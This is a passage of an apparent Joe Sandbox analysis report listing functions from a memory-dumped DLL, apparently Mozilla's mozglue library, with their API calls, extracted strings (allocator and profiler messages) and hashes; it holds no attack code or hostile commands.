detoured.dll, xrefs: 6C6264DA

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b09e939fcbe8cda2269a5fe56bd90f9d1d17ac5cce45bd74fe1a5b25f8fc1eee
Instruction ID: 2a3792d82789c79530b67bb6ffa4b63ff14ecc19bfb5d548d37aa75bab93e68d
Opcode Fuzzy Hash: b09e939fcbe8cda2269a5fe56bd90f9d1d17ac5cce45bd74fe1a5b25f8fc1eee
Instruction Fuzzy Hash: FCF1F270D0121A9FDB20CF25CD88BDAB7B5AF46318F144299E809A3681D735EE85CF99

Function 6C67C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C67C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C67C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C67C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C67CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C67DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C67DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C67DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C67E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C67E472

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 243868f86dce953560b409b55393b103b404dec596fead2210ecc5dc668d13de
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 4E33D071E0021ACFCB14CFA8C8806EDBBF2FF49314F284A69D955AB745D731A945CBA4

Function 6C63ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C63EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C63EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C641695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C641770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C641A3E

Strings

~qal, xrefs: 6C63ED10
~qal, xrefs: 6C63ED13

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qal$~qal
API String ID: 3693777188-1041579534
Opcode ID: 43d12380214f7a27e54d372fe79b1289a8f5883d0c4e6a87a381cf3bfb4d95e1
Instruction ID: eaddb6c12886f1a02cc0812dad060261293d2c6ba78844e35bcef74aeab4e2de
Opcode Fuzzy Hash: 43d12380214f7a27e54d372fe79b1289a8f5883d0c4e6a87a381cf3bfb4d95e1
Instruction Fuzzy Hash: BAB31871E04229CFCB14CFA8C890ADDB7B2BF49304F2582A9D559AB745D730AD86CF94

Function 6C62FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E7B8), ref: 6C62FF81
LeaveCriticalSection.KERNEL32(6C69E7B8), ref: 6C63022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C630240
EnterCriticalSection.KERNEL32(6C69E768), ref: 6C63025B
LeaveCriticalSection.KERNEL32(6C69E768), ref: 6C63027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C62FE99, 6C62FEB7, 6C62FED3, 6C630DB8, 6C630DD3, 6C6319B4
<jemalloc>, xrefs: 6C630D62, 6C630D76, 6C630DA7
: (malloc) Error in VirtualFree(), xrefs: 6C630D67, 6C630D7B, 6C630DAC

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: da92db75148dfa28234be3a1a8e35d0f11dc0c355b5097b88f88a6620c3d9484
Instruction ID: 1f4d7d1d744c19120deb09e9727ed1ff2d2f9de6de68ba4fe3fd066bb89a7f37
Opcode Fuzzy Hash: da92db75148dfa28234be3a1a8e35d0f11dc0c355b5097b88f88a6620c3d9484
Instruction Fuzzy Hash: ADC2E071A057518FC714CF28C580756BBE1BF85328F28E66DE4AA8B7D5C731E805CB89

Function 6C67E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C67E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C67EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C680E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C680E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C680EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C680ED4

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d8886d86f5c4aba2245d3b10a62ac4258bed0ffd702875b09e8855250e0bcd2c
Instruction ID: 0141cb24e77ca1f3bd8abe83f8f69089dd424a5d08795862ca913ae098418311
Opcode Fuzzy Hash: d8886d86f5c4aba2245d3b10a62ac4258bed0ffd702875b09e8855250e0bcd2c
Instruction Fuzzy Hash: B463AF71E0124ACFCB14CFA8C8909DDF7B2FF89314F298629D855AB745D730A946CBA4

Function 6C653E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C677770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>el,?,?,?,6C653E7D,?,?), ref: 6C67777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C653F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C653F5C
VerSetConditionMask.NTDLL ref: 6C653F8D
VerSetConditionMask.NTDLL ref: 6C653F99
VerSetConditionMask.NTDLL ref: 6C653FA0
VerSetConditionMask.NTDLL ref: 6C653FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C653FB4

Strings

nvinit.dll, xrefs: 6C654479
C>el, xrefs: 6C653E93
nvd3d9wrap.dll, xrefs: 6C654466

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>el$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-330797154
Opcode ID: 35edd3a7304f5e60204c7e50a00e324a779087f719cb042d7cabd2e187c7d74c
Instruction ID: 0fd46273d48fedec92eb967c3cf8f050857ce8411d96736f9341288e768f42ba
Opcode Fuzzy Hash: 35edd3a7304f5e60204c7e50a00e324a779087f719cb042d7cabd2e187c7d74c
Instruction Fuzzy Hash: AD52F031614B498FDB10DF34C890AAB77E9EF86208F54086DD5978B782CB74E919CB68

Function 6C62FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E7B8), ref: 6C62FF81
LeaveCriticalSection.KERNEL32(6C69E7B8), ref: 6C63022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C630240
EnterCriticalSection.KERNEL32(6C69E768), ref: 6C63025B
LeaveCriticalSection.KERNEL32(6C69E768), ref: 6C63027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C62FE99, 6C62FEB7, 6C62FED3, 6C630DB8, 6C630DD3, 6C6319B4, 6C631A10
MOZ_CRASH(), xrefs: 6C630CA7

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 6492cc33b8617a8dc0952f19168b7e9be67907d4c8b69e7937841ec60197e2bc
Instruction ID: f8b69914d26a4096a2f70dfa98311bee10115152ab0ae9c0663a01be48d52b98
Opcode Fuzzy Hash: 6492cc33b8617a8dc0952f19168b7e9be67907d4c8b69e7937841ec60197e2bc
Instruction Fuzzy Hash: BFB2DC31A097518FD718CF29C590756BBE1BF85328F28E66CE86E8B795C730E844CB49

Function 6C665600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C666131
name, xrefs: 6C665E79, 6C665E8F
expected a Count entry, xrefs: 6C665AC3
schema, xrefs: 6C66606D
ProfileBuffer parse error: %s, xrefs: 6C665AC8, 6C665CBB
expected a Time entry, xrefs: 6C665CB6

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 5dc6b4c5f6dd1ad356599ef58923dbd5723f4679b1f7097bbe7b35c77c9010dd
Instruction ID: c72c5405213e1a925b7359c75cd78ff59392aeb072651fc797e749d9fb5388f0
Opcode Fuzzy Hash: 5dc6b4c5f6dd1ad356599ef58923dbd5723f4679b1f7097bbe7b35c77c9010dd
Instruction Fuzzy Hash: 43924C71A083418FD724CF29C49179ABBE1BFC9308F14891DE59A9BB51DB30E809CB97

Function 6C662E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C662ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C662EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C662F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C663214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C663242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6636BF

Strings

get , xrefs: 6C663205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C66378D
set , xrefs: 6C6636EC

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 17afa3f98342acb7c88ff6f5b1964cff10b393d319a8e9a0238b61ecb04a42e7
Instruction ID: cd3c63aa2586ae2e4b8dcfab27eba080c6ebb725b4dfb9fffbda61e209d27d14
Opcode Fuzzy Hash: 17afa3f98342acb7c88ff6f5b1964cff10b393d319a8e9a0238b61ecb04a42e7
Instruction Fuzzy Hash: D93260702083818FD724CF25C4906AEB7E2AFCA318F54892DE5D987B51DB31D94ACB5B

Function 6C657E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

vil, xrefs: 6C658207
name, xrefs: 6C657ECF, 6C658335
data, xrefs: 6C658280, 6C6583E1
(pre-xul), xrefs: 6C657E88
schema, xrefs: 6C6581E3, 6C658311

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vil
API String ID: 3412268980-660142014
Opcode ID: 3d773c4cbf27444debca387c572a5956e2f315a1d44f8b6ec759622646926b4a
Instruction ID: 2f8ebacf44ec9452cee8a63a290deb0cfa4a6ca89e86f845c20913c63ccbeb85
Opcode Fuzzy Hash: 3d773c4cbf27444debca387c572a5956e2f315a1d44f8b6ec759622646926b4a
Instruction Fuzzy Hash: D6E17FB1A043418BC710CF69884065BF7E9BFC9318F148A2DE899E7790DB75DD098B99

Function 6C63D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D4F2
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D50B

Part of subcall function 6C61CFE0: EnterCriticalSection.KERNEL32(6C69E784), ref: 6C61CFF6
Part of subcall function 6C61CFE0: LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C61D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D52E
EnterCriticalSection.KERNEL32(6C69E7DC), ref: 6C63D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63D6A6
LeaveCriticalSection.KERNEL32(6C69E7DC), ref: 6C63D712
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63D7EA

Strings

<jemalloc>, xrefs: 6C63D827
: (malloc) Error initializing arena, xrefs: 6C63D82C

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 8020a95f8bbee91989cbf35fe8e393b68897f98a0b8eb66677ecbc3f715f652f
Instruction ID: fbf6493061e0294955dabed399b31af046f7cfc73d5b7e5f5fe55d2c0fd3eea7
Opcode Fuzzy Hash: 8020a95f8bbee91989cbf35fe8e393b68897f98a0b8eb66677ecbc3f715f652f
Instruction Fuzzy Hash: BC91D471A147118FD714CF29C59476AB7F1FB86318F14A92EE5AE87B80D730E844CB8A

Function 6C674EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C674EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C674F2E
moz_xmalloc.MOZGLUE ref: 6C674F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C674F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6752B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6752E6
Sleep.KERNEL32(00000010), ref: 6C675481
free.MOZGLUE(?), ref: 6C675498

Strings

(, xrefs: 6C675250

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 21f983ec81493d56e9a8177425c57517d72bae0bc0fb07f4b01635159ebc0100
Instruction ID: 6131fed35422d788213676652ce80e382a320eb983c4c95d2353dd9e6a3d7ce5
Opcode Fuzzy Hash: 21f983ec81493d56e9a8177425c57517d72bae0bc0fb07f4b01635159ebc0100
Instruction Fuzzy Hash: 27F1E171A19B018FC716CF39C89062BB7F5AFD6384F058B2EF846A7650DB31D8428B95

Function 6C639E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C639EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C639F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C639F34
LeaveCriticalSection.KERNEL32(?), ref: 6C63A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C63A8B1, 6C63A8D4, 6C63A8EF

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 4d03703bec4fee641e0dd73d965ee6d931fc05ababd6d348caf2b6792f9a9f70
Instruction ID: 4e519011bd7994115dd4a0caf97f458679753cd6faf7b1b8f896c89f64357dc0
Opcode Fuzzy Hash: 4d03703bec4fee641e0dd73d965ee6d931fc05ababd6d348caf2b6792f9a9f70
Instruction Fuzzy Hash: 52728D72A056218FDB04CF68C940615FBE1FF85328F29E76DE8698B792D335E841DB84

Function 6C662C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C662C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C662C61

Part of subcall function 6C614DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C614E5A
Part of subcall function 6C614DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C614E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C662C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C662E2D

Part of subcall function 6C6281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6281DE

Strings

(root), xrefs: 6C66354F
ProfileBuffer parse error: %s, xrefs: 6C662E3B
expected a Time entry, xrefs: 6C662E36

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: eb5817eb4cfc49829ab9a91b8236e7e402fc86314f3f220a827db1cbca9c961e
Instruction ID: dab938df6cda05c5aa2675c45cccac0f78f51cbb0cd2ccf955e8ec4a03326b9f
Opcode Fuzzy Hash: eb5817eb4cfc49829ab9a91b8236e7e402fc86314f3f220a827db1cbca9c961e
Instruction Fuzzy Hash: C291A1706087418FC724CF26C49469EB7E1AFCA358F50892DE59A8BB90DB30D949CB5F

Function 6C679E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C679F3D
__aulldiv.LIBCMT ref: 6C679F77
__aullrem.LIBCMT ref: 6C679F8C
__aulldiv.LIBCMT ref: 6C67A023

Strings

-Infinity, xrefs: 6C679E60, 6C679E7B
NaN, xrefs: 6C679EAB

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 58c21701b9c8b28a2dde70333554cc2c798edb6d231f815afeda91b4df1d5ba0
Instruction ID: bc31b566f2df99a03a611b72df751531f781a219c4db757812d67e5d49de4dfa
Opcode Fuzzy Hash: 58c21701b9c8b28a2dde70333554cc2c798edb6d231f815afeda91b4df1d5ba0
Instruction Fuzzy Hash: DBC1B231E043198BDB24CFA8C8507DEB7B6EF89308F144929D405ABB81D774E949CBA9

Function 6C61D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C61DBDD
-, xrefs: 6C61D7DD
9, xrefs: 6C61DE7F
0, xrefs: 6C61DC7F
@, xrefs: 6C61DAF6
0, xrefs: 6C61D852
, xrefs: 6C61DA88
8, xrefs: 6C61DC08

Memory Dump Source

